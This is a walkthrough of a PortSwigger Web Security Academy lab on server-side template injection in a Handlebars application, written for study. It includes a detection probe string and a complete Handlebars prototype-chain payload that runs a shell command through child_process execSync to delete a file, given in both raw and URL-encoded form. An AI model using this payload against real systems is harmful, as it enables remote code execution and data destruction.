Server-side template injection in an unknown language with a documented exploit

Platform: PortSwigger | Category: SSTI | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, SSTI

Summary

Walkthrough of the PortSwigger Web Security Academy lab Server-side template injection in an unknown language with a documented exploit (SSTI). This lab demonstrates a ssti vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — SSTI

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

Solution :

When we click on the first item from the shop, we get this message - Unfortunately this product is out of stock .

The GET request is as follows :

 http read-only • copy allowed Copy
GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock HTTP/2
Host: 0a42001b033146c0804bd52300ea007f.web-security-academy.net
Cookie: session=yqSTCHaU6YaSV38vpvzs1lj0VWfQ7uIn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://0a42001b033146c0804bd52300ea007f.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

Identifying the template engine -

On entering the payload ${{<%[%'"}}%\ in the ?message= parameter, we get a server errpr in the response which indicates that it is vulnerable to SSTI.

Taking a close look at the error, we can see that it uses Handlebar template engine.

On entering the payload - {{this}}, we get the response [object object] which confirms that there is a SSTI in Handlebars template that is being used in the application.

Hackerone Report - https://hackerone.com/reports/423541 Payload all the things - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#handlebars

Based on the references, we can use the following code for RCE.

 java read-only • copy allowed Copy
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').execSync('rm /home/carlos/morale.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

Url encode it & send it via the ?message= parameter in the URL-

%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%20%20%20%7B%7B%23with%20%22e%22%7D%7D%20%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%20%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%20%20%20%20%20%20%20%7B%7Bthis.push%20%28lookup%20string.sub%20%22constructor%22%29%7D%7D%20%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%20%20%20%20%20%20%20%7B%7B%23with%20string.split%20as%20%7Ccodelist%7C%7D%7D%20%20%20%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%20%20%20%20%20%20%20%20%20%7B%7Bthis.push%20%22return%20require%28%27child_process%27%29.execSync%28%27rm%20%2Fhome%2Fcarlos%2Fmorale.txt%27%29%3B%22%7D%7D%20%20%20%20%20%20%20%20%20%7B%7Bthis.pop%7D%7D%20%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%20%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string.sub.apply%200%20codelist%29%7D%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%20%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%20%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%20%20%20%20%20%7B%7B%2Fwith%7D%7D%20%20%20%7B%7B%2Fwith%7D%7D%20%7B%7B%2Fwith%7D%7D

And we have solved the lab.

Key Takeaways / Lessons

• Understanding SSTI detection and exploitation is crucial for web security.
• Always validate and sanitize user input; implement proper access controls.
• This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

---

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Server-side template injection in an unknown language with a documented exploit